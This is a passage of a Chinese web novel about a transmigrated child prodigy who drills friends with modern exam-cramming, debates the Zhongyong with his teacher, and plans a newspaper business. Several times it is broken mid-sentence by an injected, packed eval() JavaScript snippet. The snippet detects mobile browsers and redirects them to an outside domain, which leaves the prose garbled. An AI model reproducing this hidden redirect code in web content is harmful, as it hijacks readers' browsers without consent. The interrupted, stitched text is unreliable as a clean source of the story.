“学生不敢让您劳心劳累,特地去关照他们的进度。但只刷题是不行的,我们聊时政、辩经文、破八股的时候,让他们作旁听。 题海战术+大儒耳濡目染授课+时政见解熏陶。 不为积攒学问。 只为攻克科举。 1700余天努力,唯一目标:上岸! 作为一个现代人,崔岘深知,任何事情都是有套路的。 科举也是一样! 东莱先生爱屋及乌,因此对裴坚几人印象都还不错,闻言笑呵呵道:“好。你今日,便要开始给他们授课了吧?为师也挺好奇的,想跟着一起去看看。 崔岘自然满口答应。 师生二人,让差役们帮忙,把十箱科举试卷搬去后院。 后院里。 裴坚、庄瑾、李鹤聿、崔钰、高奇五人,已经在瑟瑟发抖的等待着了。 而在他们身后,是昨日修建的,一比一还原乡试考场的‘鸽子笼’。 但,一夜过去,考场变样了! 每个鸽子笼里,都放着一套桌椅板凳,一个恭桶。 还贴着‘学习标语’。 “提高一分,干掉千人。 “现在不拼命,将来命拼你。 “距离明年童生试还有276天! “科举不努力,没法做兄弟。 而在考场外,树立着一个‘木板成绩墙’,上面写满了密密麻麻的考试规则:日测、周测、月考,一模、二模、三模。 就问你,遇见这种情况,谁不瑟瑟发抖? 裴坚几人已经来了好一会儿了,大家 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16088412|179600||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 对着那个木板墙发呆,一致认为,这世间绝对不会有这么变态的东西! 瞧见崔岘。 高奇第一个嚷嚷道:“岘弟,这个木板墙上写的什么玩意儿,都是假的,对吧? 迎着兄弟们期待的目光。 崔岘露出一个不怀好意的笑容:“想什么呢,自然全都是 真的!以后,你们每日午后,都要待在考场,作两篇八股文。一切规则模拟乡试考场,内急的话,在恭桶解决。” “当天考完,次日一早出成绩排名。排名末位者,负责下学后倒恭桶、洗恭桶。” “每日测试是最基本的,只考科举小题。” “以七天为一个周期,叫做周测,周测考大题。周测排名末位者,需要每日留堂一个时辰,直到次周不再排末名结束。” “而后是月考,大小题一起考。排名末位者,需要把家长叫来,共同复盘本月学习出现的问题。” “至于一模、二模、三模,是童生试前的三次模拟考试。这三次考试只记排名,没有惩罚,怎么样,是不是很人性化。” 听闻崔岘的话,裴坚等人脸色都白了。 好可怕!! 岘弟,索命阎王都没有你恐怖! 李鹤聿咽了口唾沫,颤声道:“那岂不是说,以后我们每天都要考试?” “当然不是啊!你们只是每天下午考试而已。” 崔岘微笑道:“你们上午还需要学习,刷题,背诵八股文啊!” 众人:??? 连东莱先生都在心中直呼‘好家伙’。 裴坚总觉得哪里不对劲,后来终于想明白了,一拍脑袋:“岘弟,你不是说要教我们秘法吗?秘法呢?” 崔岘‘奥’了一声:“哦对,秘法,你们不说我都差点忘记了。” 五位兄弟无语了。 这么重要的秘法,怎么能忘记呢! 大家经过慎重合计,最后由裴坚代为发言,激动道:“我们想学《五十天冲刺上岸考童生》!” 什么鬼东西? 崔岘一愣,而后才反应过来,这是他昨天随口瞎编的秘法名字。 于是,在裴坚等人瞠目的注视下。 便见崔岘当场拿出笔墨,写下‘五十天冲刺上岸考童生’一行字,而后贴在抬过来的十箱考卷上。 贴完后,他咧开嘴对几位兄弟们说道:“诺,就是这个秘法!五十天时间,你们要把这十箱试卷,全部刷完。” “平均下来每天需要刷二十份左右。” “接下来,还有河南87个县的试卷,在等着你们刷呢。” 裴坚等人傻了。 见他们迟迟没动作。 崔岘笑眯眯提醒道:“你们还不开始吗?下午就要考试咯。友情提示,我会参考你们学习的试卷,出一道相似的题目。” “再次提醒,最后一名要倒恭桶、洗恭桶哦。” “……” 听到这话,五位兄弟互相对视,嫌弃的撇开视线,而后急吼吼开始去刷题! 总之。 这群古代小子们,也算是吃上现代应试教育的苦头啦。 ? 122、师徒辩经(上) 当裴坚,庄瑾五人,拿着试卷瑟瑟发抖去刷题后。 东莱先生若有所思看向崔岘,道:“你这是让他们专攻科举八股文?有把握吗? 显然,老先生看懂了学生的用意。 一切以考中为主。 那么其余的都不必管,专门研究试卷,研究考题,研究标准的‘录取套路’便可。 其实这也是应试教育的精髓、或者说糟粕所在——简单、高效批量生产一拨人才。 听闻老师的问话,崔岘想了想,笑道:“至少……能有七八成把握吧。 这可不是胡吹。 参考上辈子的明朝,南直隶、江浙、江西三个大地区,几乎要把进士名额全给包揽了。 因此坊间一直盛传,这三个地区的人,摸清楚了科举八股文的套路。 在崔岘看来,这个说法,对,也不对。 不对,是因为肯定没有绝对的科举八股文套路。 对,是因为这三个地区文风昌盛,垄断了知识传承,拥有着旁人无法比拟的师资学识力量。 举个最简单的例子:崔伯山、崔仲渊多年不中,一和资质有关,二和闭门造车有关。 没有名师,没有书籍,不懂时政,基本就和科举无缘了。 在河南,像是先前崔家兄弟那样情况窘迫的学子,至少得占到七成。 其余三成,家里或少藏书,或没能力借阅到历年试卷,或没有名师教导,总之肯定得缺一项。 但裴坚、庄瑾等人,在崔岘的帮忙下,完全补齐了所有短板。 当五年、乃至更久的现代应试教育,强化了五兄弟的‘学习资质’问题后,裴坚几人中个进士,不难。 因为科举拼的是全方位的实力。 而不是单纯所谓的‘资质’啊! “把握这么大? 东莱先生很是惊讶,随后笑道:“看来,你师祖给你写的信,你听进去咯。这样也好,若是真能把你这群小兄弟带起来,以后步入官场,他们就是你最坚实的后盾。 “接下来这四五年时间,希望他们能彻底成长起来吧。 “不过,他们要成长,你的学业也不能懈怠。为师前段时间,又给你搜罗了大量孤本藏书,你得把这批书,尽早读完 。 “但并非是像先前那样,没日没夜的读书。因为接下来咱们的重点,得放在辩经上面。 “一味的读死书,并不行。因为辩经,不仅仅需要引经据典,还得有一往无前的气势和胆量,有灵活的脑袋和应对策略。 “辩经台上,各种人都有,他们嘴皮子一个比一个利索,死的都能说成活的。甚至无耻者,还会故意场外干扰。 “若是没有强大的实力,和冷静的思路,在成千上万人的围观下,很容易就会怯场、卡壳,最后败的莫名其妙。 显然,老先生年轻的时候,也是经历过不少‘大场面’的。 不然也说不出来这般经验之谈! 世界是个巨大的草台班子。 就算是高台辩经这种文人间引经据典的唇枪舌战,也免不了各种俗套的明枪暗箭。 崔岘忍笑听完,问道:“老师,那接下来,学生的课业该如何安排? 东莱先生想了想,说道:“夜晚读书两个时辰,白日上午辩经一个时辰,聊时政一个时辰,下午作八股文一个时辰,练字一个时辰。 “再抽出一个时辰,给你的兄弟们讲课、批改试卷,顺带教你们家人开蒙、经商。 这……强度不是一般的高啊! 但想要成为文坛领袖,成为大梁第一名儒,不付出足够多的努力,怎么能行呢? 崔岘闻言咧了咧嘴,道:“好,听老师的。 东莱先生扬了扬眉,表情很是满意。 他这个徒弟,可不仅仅是天资惊人。 真到学习的时候,可是半点不含糊,也不怕吃苦! 就像崔岘对‘应试教育’很有信心,觉得自己很有把握带着裴坚等人中进士那般。 东莱先生对小徒弟未来能成长为大梁第一名儒,也非常有信心。 当天上午。 老先生吩咐仆从老罗,在裴坚等人的‘鸽子笼考场’旁边,树立了两个木桩。 “以后,每日上午,你我各自站在木桩上辩论。若是你输了,当日所有学习内容,都要在木桩上完成,包括练字。 东莱先生看向崔岘,揶揄笑道:“你有三个月适应期,三个月后开始执行这套规则。 正在刷试卷的裴坚等人听到这话: ?? 他们看向那根木桩,脸上浮现出畏惧。 这比考场鸽子笼更加恐怖啊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16088413|179600||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ! 然而崔岘却半点不怵,反倒是表情带着些不怀好意:“那要是老师你输了呢?” 东莱先生大怒。 他佯装气呼呼道:“好哇,才刚开始学习,就敢好高骛远,不切实际!上木桩,为师要同你辩上一场!” 哦豁! 听到这话,裴坚、庄瑾、李鹤聿、高奇、崔钰五人,纷纷露出看热闹不嫌事大的表情。 他们甚至把老崔氏、陈氏、崔家兄弟等人,全喊过来围观。 再加上,裴坚几人准备办理‘退学手续’。 因此吴夫子、裴崇青,裴老太太,和高、庄、李几家的家长们,今日都来崔家询问情况。 这帮人刚进崔家,就被满院子的横幅、小纸条给镇住了。 娘嘞,这是什么好东西! 怎么只看一眼,就觉得热血沸腾呢。 等众人听说,崔岘和东莱先生要‘辩经’,都很是感兴趣,于是后院呼啦啦围了一大帮的人。 大家屏气凝神,大气都不敢出一下。 ‘鸽子笼考场’一侧,两个木桩上。 东莱先生、崔岘相对而立。 一个文坛名儒。 一个大梁神童。 双方互相对视,眼中再无半点‘师徒情谊’,试图用眼神震慑对方。 而后。 崔岘一拱手,率先发难:“敢问先生,《史记·孔子世家》记载,子思作《中庸》四十七篇,而今本仅三十三篇传世,显系后世删减。” “''车同轨,书同文''乃秦皇统一后的制度,子思为战国中期人,何以预见秦政?” “学生斗胆怀疑,此书必为汉儒伪作!正如《汉书·艺文志》载《子思子》二十三篇,而今本《中庸》,已被篡改到面目全非,失去其全貌!” 后院。 老崔氏、陈氏等人不明觉厉。 裴坚、庄瑾、高奇等人懵懵懂懂,吃惊不已。 而,吴夫子、裴崇青、崔伯山、崔仲渊等人,听到崔岘这话,只觉得心头一道惊雷炸响,整个人如遭雷击,当场震撼到张大了嘴。 什、什么? 《中庸》是假的? 那我们这些年在学什么?学了个笑话吗? 三句话,让在场读书人怀疑人生! ? 123、师徒辩经(下) 《中庸》肯定是有问题的。 但绝对不至于‘面目全非’。 崔岘当然是夸大其词,故意这么说的。 作为一个现代人,他站在巨人的肩膀上,悉知四书五经的各种错误、漏洞。 但‘辩经’一事,单纯的‘对错’是说不明白的。 正如东莱先生所言:辩经台上,那些人嘴皮子一个比一个利索,死的都能说成活的。 所以,对错不重要! 重要的是,你得坚定自己的信念,说服对方,忽悠住对方,战胜对方! 崔岘放完大招后,看向自家老师。 裴崇青、吴夫子等人,也都看向东莱先生,脸色苍白,神情急迫。 《中庸》怎么可能是假的呢! 何其荒谬! 可崔岘的论点、论据都非常充足,他们一时间,都想不到该如何辩驳。 由此便能看出,文坛圈,和科举圈,是两个不同的圈子。 科举圈不管别的,闷头学,闷头考,上岸就行! 而文坛圈,要辩证,要考据,要提出质疑,要时常引经据典辩论,耍嘴皮子功夫。 这也是为什么自古以来,很少有人能在文坛、官场同时取得巨大成功的原因。 而崔岘,即将走的,就是‘士林官场双修’的路子! 所以。 他今日试探性的选择向老师发难,是打算探一探现在大梁王朝的文坛圈,究竟是个什么水准。 这关乎到他日后,去开封高台辩经,要使用什么策略。 迎着众人的目光,东莱先生并不慌张。 他看向崔岘,笑呵呵道:“圣人述道,岂会只拘泥文字多寡?《尚书·尧典》有云:协和万邦。 “车同轨,乃象喻政令归中,而非指器物!孔子删《诗》《书》以立教化,汉儒辑录《中庸》正承此志——删繁就简,存其大义,何伪之有啊? 听到这个答案。 吴夫子、裴崇青等人恍然大悟,狠狠松了口气。 刺激,太刺激了! 要是真被论证为《中庸》是假的,那他们都不用学了,直接回家吧! 老师的回答,让崔岘扬了扬眉。 其实他是在以历史实证的角度去提出质疑。 但东莱先生避开了这个角度。 选择用神话圣人引《尚书》《论语·述而》来作为反驳。 崔岘懂了。 其实古人也发现了四书五经中存在问题。但是他们被教化必须以这些‘教科书’为原则。 所以他们要想尽办法来为这些错误狡辩。 说白了这个世界缺一个‘朱熹’来给四书五经做出新的注解。 当然咱们还得谨记:世界是一个巨大的草台班子。 就算强如朱熹注解的时候也存在一些乱七八糟的错误漏洞。 但没关系! 作为站在巨人肩膀上的崔岘来日去高台辩经整理百家学说后自会给这个世界带来一些震撼! 重新为他们编著、注解四书五经! 但现在还早。 他还得积累学识和经验。 迎着东莱先生、和众人的注视。 崔岘略作思索后继续质疑道:“云梦秦简《工律》载''车同轨''为始皇诏令战国楚墓车马坑轨距离与秦制相差甚远。若子思真言''车同轨''岂非时空错乱?” “此与《礼记·月令》天象不符周历同理皆证汉儒整合先秦文献时存在杂糅、胡编乱造之嫌!” 听到崔岘这话。 刚才狠狠松了口气的吴夫子等人又瞬间开始怀疑人生了。 这……似乎听起来很合理啊? 难不成《中庸》真的是假的? 东莱先生属于‘老辩证’了。 听到徒弟这话他并不作答而是反问道:“战国楚墓车马坑轨距离与秦制有何区别?” 崔岘道:“战国楚墓车马坑轨距离39寸 这次轮到东莱先生:??? 不是我请问呢? 众人齐齐期待看向东莱先生。 本来十分淡然的周雍顿时绷紧了神经。 大意了! 徒弟不仅是个天才还是个‘考据党’! 众所周知考据党最难搞哪怕是以前高台辩经的时候周雍都最怕这样的对手。 这次他明显谨慎很多思索后说道:“《易》曰:形而上者谓之道。''车同轨''非言车辙乃喻礼乐法度一统!” “周公制礼时未行秦制然《诗》云:普天之下莫非王土岂非王道一统之先声?圣贤立言在明天理岂囿考工记!” 这就是以微言大义的角度来压制崔岘的考据。 若是在现代这就是胡扯。 可这是在古代礼法大于天呐! 这番话让吴夫子、裴崇青、崔仲渊、崔伯山等人又找回了崩溃的道心。 听我说谢谢你! 还好有你让我确定《中庸》是真滴! 但崔岘只用一句话反问便让他们齐齐再次道心破碎:“若''车同轨''仅为象征何以《中庸》紧接''非天子不制度''?” 轰! 此话让诸位读书人如五雷轰顶呆愣当场。 尤其是吴夫子裴崇青两位年长的读书人震撼的看向崔岘只觉得头皮发麻。 九岁此子才九岁啊! 为何竟然能问出这般振聋发聩的问题! 他俩甚至都不敢再听下去了。 好怕道心当场破碎! 东莱先生也愣愣看向小徒弟满心震撼。 老先生不知道自己的徒弟拥有一个现代的灵魂。 所以他是真的被崔岘这种思维模式给震撼到了。 此前高台辩经上千场他都没有经历过这种超前、又犀利的辩经质问! 好在。 东莱先生经验堪称无敌他稳 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16088414|179600||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 住心神道:“三代不同礼而王 “置''车同轨''于''非天子不制度''后正显圣人立法垂宪之思:政令可因时而变然''致中和天地位焉''之道永恒!” 只能说不愧是大梁王朝当代文坛领袖士林第一名儒。 他竟然还掌握伦理实践思维! 而这番话上升到的高度已经到了无可辩驳的地步。 当然其实崔岘是可以辩驳的。 但那是作为现代人的思维但凡说出来赢是能赢可那就是大不敬啊! 因此。 思索良久后,崔岘朝着东莱先生一鞠躬:“学生受教。” 这便是认输的意思。 东莱先生笑眯眯颔首,尽显师长风范。 可心中却在大声咆哮:我的徒弟怎么能优秀的这般可怕!以这样的情况来看,我假以时日,该不会天天输给徒弟吧? 老天! 你究竟是什么级别的妖孽啊! 为师压力好大! 要不然……以后我也每天继续学习吧!不然到时候输给徒弟,该多丢脸呐! 有些人看似表面笑呵呵,其实背地里已经开始哭了。 裴老夫人、高千户等家长,虽然不明白发生了什么,但也大概了解到,岘哥儿真的很厉害。 再加上有东莱先生这个大儒在。 所以让裴坚、高奇等人从裴氏族学退学,来到崔家学习,应该是个好事儿。 但对于吴夫子、裴崇青等懂行的读书人来说,这场辩论,简直就是顶级震撼! 道心在破碎、和缝补的边缘,极限拉扯。 不是他们没见过世面。 而是刚才那场看似简单的辩论,纵观整个大梁王朝,都找不出同等水平的了! 东莱先生毕竟是文坛领袖,实力强横理所当然。 可岘哥儿才九岁啊! 这合理吗? 等四五年后,到开封辩经的时候,那些人,真的不会被岘哥儿给虐到崩溃吗? 有那么一瞬间,吴夫子甚至觉得,自己听完这一场辩经,产生了很多朦胧的明悟。 那是思想,和思维模式的升华! 原来,还可以用这样的方式,打开四书五经? 学到了! 要不是还得去裴氏族学授课,吴夫子都恨不得自己也在崔家上课学习了! 每日听这种级别的辩经,就算是只猪,也能有所感悟啊! 而裴崇青老爷子,则是在听完崔岘、东莱先生这场辩论后,彻底激动了,服气了,振奋了! 他看着崔家满院子的振奋标语,找到崔岘,期期艾艾问道:“岘哥儿,祖父能不能跟着你们一起上课啊!祖父有种直觉,若是听几年你和东莱先生辩经,说不定,我也能中进士。” “祖父才50岁,也正是拼搏的好年纪呢!” 听闻这话的裴坚:??? 我要跟我祖父做同窗了? ? 124、蜕变 看得出来裴崇青老爷子真的太想进步了。 听完崔岘、东莱先生那场精彩辩论后老爷子激动一拍大腿:我也要来崔家上课! 老爷子不仅自己来了。 还写信给在开封府学读书的儿子裴开泰:儿子别在府学那种垃圾地方浪费时间了。 速归南阳家里有好东西等着咱学习呢! 为了不搞特殊化裴老爷子吭哧吭哧上阵也在崔家后院给自己搭了个‘考棚’。 甚至还向崔岘自动请缨挂了个‘导师’的工牌。 崔家后院导师组成员+1。 以后就是崔岘、东莱先生、裴崇青老爷子三人轮番给裴坚五人授课。 其余人没甚感觉。 但裴坚只觉得天都塌了。 谁会乐意跟长辈一起上学啊好可怕! 更让裴坚觉得心酸的是第一次日测他就排名倒数第一了! 原本垫底的应该是崔钰。因为他只开蒙了一年尚且跟不上进度。 但裴崇青老爷子觉得这对小崔钰不公平所以经过协商给小崔钰三个月缓冲期。 这前三个月崔钰只记名次不记惩罚。 于是倒数第二的裴坚成功获得第一次‘洗兄弟恭桶’的‘奖励’。 下学后。 李鹤聿、高奇二人满脸幸灾乐祸。 庄瑾却一副心虚模样准备开溜。 裴坚捏住鼻子下了十二万分的决心才钻进考棚里准备提恭桶。 他潦草瞄了一眼而后崩溃大怒:“庄瑾老子要弄死你!你怎么还在恭桶里拉大便!啊啊啊太恶心了呕——” 李鹤聿、高奇笑的肚子痛但也觉得有点反胃同情的看向裴坚。 庄瑾尴尬道:“这……对不住了兄弟我一紧张就想大便。” “……” 听到这话众兄弟满脸惊恐。 那他们岂不是以后每天都要倒粪桶? 天呐!太可怕了! 就算为了不用倒粪桶 于是裴坚五人开启了他们恐怖的‘应试教育’学习生涯。 刷不完 ,试卷根本刷不完! 一开始的十大箱子试卷还没搞定呢,河南87个县的童生试卷,陆陆续续送来崔家。 后院里被堆满了各种试卷。 还有好几个杂货棚、储物房、屋舍里,都是满满当当的试卷。 裴坚等人看的两眼发直。 但他们甚至都没有时间哀嚎,学习任务实在太繁重了。 不仅有刷不完的试卷题。 白日还得听崔岘、东莱先生辩经,加上裴崇青老爷子授课。 上完课,马不停歇的开始刷题。 因为下午还得考试! 考不好就要倒粪桶! 除此之外,东莱先生偶尔还会要求他们读几本书,并写几篇‘观后感’。 总之,那段时间简直跟噩梦没什么区别。 似乎全世界都和他们无关了。 脑子里只有试卷、书、练字,以及恭桶。 哦对,还有考试,考试,考试! 崔岘搞了个‘百分制’的试卷打分规则,可以直观的给出考试成绩排名。 于是考试分数,就成了几人的‘命根’。 为了不刷恭桶,兄弟几个拼命卷,甚至每天还要多带好几份试卷回家学。 你见过凌晨寅时的南阳吗? 兄弟们都见过! 再后来,裴开泰半信半疑从开封府学回来,观摩了一场崔岘、东莱先生的辩论。 他当即激动一拍大腿,也给自己在崔家盖了个‘鸽子笼考场’。 崔家导师组成员+1。 裴坚:“……” 心好累。 但是想想还有考不完的试,刷不完的题,倒不完的恭桶,他甚至都没时间心累了。 活人微死。 就这样吧。 他现在甚至能面不改色的倒恭桶,并调侃庄瑾:“哟,兄弟今天拉的很健康嘛,真不错!” 庄瑾勉强露出个笑容,而后继续低头学习。 他本次周测最后一名,需要留堂。 但第一次月考,裴坚排名末位,被叫了家长。 他的两位家长就在这里,当场便赏赐了混合双打。 非常的方便快捷。 当然,崔家后院里也并非全然在读死书、死学习。 每隔几日,便会有仆从老罗整理出来的,外界关于大梁的时政消息传来。 大到内阁草拟了什么政策,哪个地方有倭寇来犯,哪个地方有灾情。 小到哪个地方的官员**被惩处了,亦或者哪个地方的山贼被成功剿灭。 这算是痛苦学习生涯中,裴坚等人最开心的回忆了。 因为东莱先生会给崔岘讲这些,从时政事件入手,延伸到八股,甚至以小见微,揣测圣心。 裴坚几人听得津津有味。 裴崇青、裴开泰则是表情如痴如醉,神往不已。 包括吴清澜,最近都隔三差五来旁听。 因为这便是能中进士的‘金牌讲师课程’啊! 崔家兄弟歇了两个月。 一开始,他们悠闲的很。 甚至真的出门,去体验了一把做车夫、做长工的滋味。 偶尔也来后院,旁听时政课程。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16088415|179600||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >听得多了,兄弟二人表情越来越向往,意志越来越坚定。 而后不出意外。 崔家后院里,又盖起了两个‘鸽子笼考场’。 从被母亲压迫二十年,痛苦读书。到得以解脱,放弃读书,再到重新坚定的拿起书,这其中的心路历程,唯有他们兄弟二人清楚。 但,这次重新拿起书,感觉是不一样的。 因为是他们俩,发自内心想要去读书! 狭窄的鸽子笼考场里,老中青三代人,从年轻小少年,到年迈老者,都遨游在知识的海洋中,短暂忘却了时间。 而崔岘,按照老师的课程规划。 夜晚读书,白日同老师站桩辩经,练字,做八股,探讨时政,给裴坚等人授课。 这一次,他真的做到了彻底收敛神童光芒,踏实蛰伏下来,吸收知识,等待一场属于他的华丽蜕变。 不仅是他。 满后院的读书人,也都在迎来一场属于自己的蜕变。 前院。 陈氏、林氏、崔璇三个扫盲组成员,在老崔氏的带领下,逐步开蒙、识字、学习算数。 生活是最好的老师。 崔家院子里的小字条,越来越少,越来越少,直到全都被撤了下来。 字条全被撤下那日。 老崔氏把扫盲三人组带去耳房,里面是好几箱的字条。 陈氏怔怔看着那足足七八大箱字条,只感觉很不可思议:“这么多,我,我全学会了?” 老崔氏夸赞道:“是嘞!现在,你脑子里,足足装了好几大箱子的字条呢!” 扫盲组三人互相对视,眼睛里全都是自信,和跃跃欲试的神采。 他们学会了这么多字,是不是该跟岘哥儿学习做生意啦! 几人商量着去找崔岘。 结果刚出耳房,陈氏瞄了一眼木板墙上的倒计时天数,当即瞪直了眼:“娘嘞!日子怎地过得这么快哟!” 便见木板墙上的倒计时写着: 距离前往开封还有1438天! 一年时间,就这样匆匆而过。 正当老崔氏神情恍惚,感慨时间太快的时候。 崔伯山、崔仲渊兄弟二人,共同从后院里走了出来。 瞧见老崔氏,崔伯山道:“娘,你是不是忘记了什么事情?” 老崔氏茫然道:“什么?” 兄弟二人互相对视,笑着异口同声道:“给我们报考院试啊!” 听到这话,老崔氏愣住了。 而后,她猛然抬起头,惊喜的捂住嘴巴,苍老的眼睛里泛出泪意。 这一天,终于是被她给盼到了啊! ? 125、崔氏未来商业版图核心:报纸 大梁王朝嘉和十八年。 跟着东莱先生学习近一年时间的崔家兄弟,主动要求报考院试。 在院试这一关,他们俩被困住了整整十年。 这也一度成为兄弟二人的噩梦。 但说来也奇怪。 只放下书本短短两个月,再重新捡起来,他俩好似经历了一场破茧成蝶般的新生。 二人眉宇间不再有以前的畏怯、愁苦、迷茫。 就好似心境通顺了,学习的‘任督二脉’也打开了。 再加上每日旁听崔岘、东莱先生辩经,听东莱先生讲解时政、八股。他们的神情越发沉稳,眼睛也越来越清亮。 甚至心底有个声音在说道:去吧,去参加这次院试吧! 老崔氏欢喜不已,当即帮两个儿子报考。 崔家后院。 由于崔伯山、崔仲渊兄弟二人即将要参加本年科举。 因此五个小子都难免有些躁动。 一年时间一晃而过。 距离崔岘给他们定下‘五年内考中童生’的目标,还剩下四年。 此刻。 五人各自坐在鸽子笼考场里,正在考试。 经过一年的高强度学习,他们的变化也相当之大,逐渐开始褪去青涩,朝着少年模样成长。 一开始,繁忙的学业,确实让五人焦头烂额,痛苦不已。 但后来,逐渐麻木了,或者说习惯了。 人的适应能力真的很强大,从麻木,到习惯,再到沉下心来汲取知识、磨砺心性。 竟然只需要一年时间。 而这一年,绝对是他们人生最关键的转折点! 深夜的崩溃。 睡梦里的痛苦。 学习时候突然毫无预兆、嚎啕大哭。 一边哭还要一边继续考试、刷题。 种种心酸,唯有他们心里自己清楚。 崔岘正坐在一旁练字,瞧见几位大哥神思不属的模样,一边写字一边笑道:“若是觉得有信心,大哥们可以合计着,参加今年的童生试。” “失败了也无妨,权当试试水。” 听到这话,裴崇青父子、东莱先生都抬起头。 庄瑾、高奇几人有些心动,又有些犹豫。 唯有坐在鸽子笼里的裴坚,神情淡淡的,沉稳说道:“不必了。崔大伯、崔二叔经历十年落榜,放下书本后,想通了很多,选择重新读书。心境、学业都有精进。 “所以有信心面对此次院试。 “我们不一样,这一年学习,虽然充实了很多。但仍旧无法保证,肯定能考中童生。 “我裴坚,不打没把握的仗! “而且考中童生,不是我的目标,只是我的开始。我是要跟着岘弟你一起,考中进士,去做京官的。 “小小童生试,不用放在心上。我只管拼尽全力,去学习。 “第五年春天来临的时候,我自会考中童生。而后跟着岘弟一起,挺直腰杆前往开封,给开封学子们,带来一些小小的震撼。 此言一出,满院侧目。 连崔岘都愣愣看向裴坚,大为震惊。 大哥,你怎么了这是? 不管是哪里来的鬼魂妖孽,你立刻马上从我大哥身上下去! 裴崇青听完孙子这番话,看向坐在逼仄考棚里,神情沉稳,腰杆笔挺的少年,欣慰感动不已。 我家孙儿出息咯! 庄瑾赞叹道:“裴坚哥哥,你现在好生沉稳,格局也非常大,真让弟弟佩服。 裴坚云淡风轻回应:“自然。 结果下一刻,隔壁考棚便传来奇怪的‘噗嗤’、‘噗嗤’死动静。 庄瑾讷讷道:“那……我拉了一坨大的,裴坚哥哥,你不会怪我吧? 裴坚深吸一口气,刚才刻意装起来的沉稳、淡定瞬间破功,崩溃咆哮道:“庄瑾,你是屎做的吧!啊啊啊啊啊老子今天下学一定要把你给打死!谁都别拦我! 众人:“…… 裴崇青脸上的欣慰骤然一收,紧急撤回一段没有来得及释放的祖父情谊。 且不管裴坚和庄瑾的‘个人恩怨’。 当日午后。 老崔氏为两个儿子准备好报考事宜后,把崔岘喊去了‘办公房’。 去年第一次开完会以后,崔家保留了‘开会’的传统。 甚至单独把一间耳房,布置成了办公房。不管是家庭会议、还是学习 会议,都经常在这里召开。 而今日的会议,是老崔氏等人自发组织,来咨询岘哥儿,下一步的‘崔家战略发展’。 众人落座后。 老崔氏率先道:“岘哥儿,你娘、大伯母,还有璇姐儿,都初步开蒙了。经过这一年学习,祖母觉得,最快的学习办法,还得是在生活实践当中成长。 “因此,我们四人申请,开始做生意!未来四年,我们在南阳摸索,积攒经验。这样等到了开封,你去辩经,我们就能着手放心大胆去干大事儿了! 陈氏、林氏、崔璇三人,都频频点头,期待看向崔岘。 显然,经过一段时间的学习,她们有了野心。 想迫切扛起‘将崔家发展为名门望族’的重担! 但说实话,历来名门望族,都是需要数代人的努力、积累,才能真正崛起。 崔家想要弯道超车,迅速成为‘首富之家’,需要有一个明确的,强有力的,划时代的核心产业。 这个问题,崔岘从一年前就开始思索了。 并且也有了答案。 那就是——报纸,这个时代叫做邸报。 说白了,就是‘古代传媒产业’。 往小了讲,报纸行业可以关联广告,迅速帮助崔家进军、涉猎、渗透各个产业。且不至于被商业竞争对手们压制、反扑。 往大了讲, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16088416|179600||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那就是提前占领**高地,埋下思想火种,掌握一手情报,必要时还能打**战。 以传媒业为核心,搞实业发展。 作为一个现代人,读过《天工开物》等书籍的崔岘,想要搞点发明致富,不难。 迎着老崔氏等人期待的目光,崔岘笑道:“祖母,娘,大伯母,我早就有想法了。未来四年,你们唯一的任务,便是开一家邸报。 听到这话的众人:??? 啥? 邸报? 哎哟,我们几个刚开蒙一年的女人,去搞邸报? 这不是开玩笑嘛! 先不说就凭她们几个,能否把邸报做起来,怎么做。 关键是—— 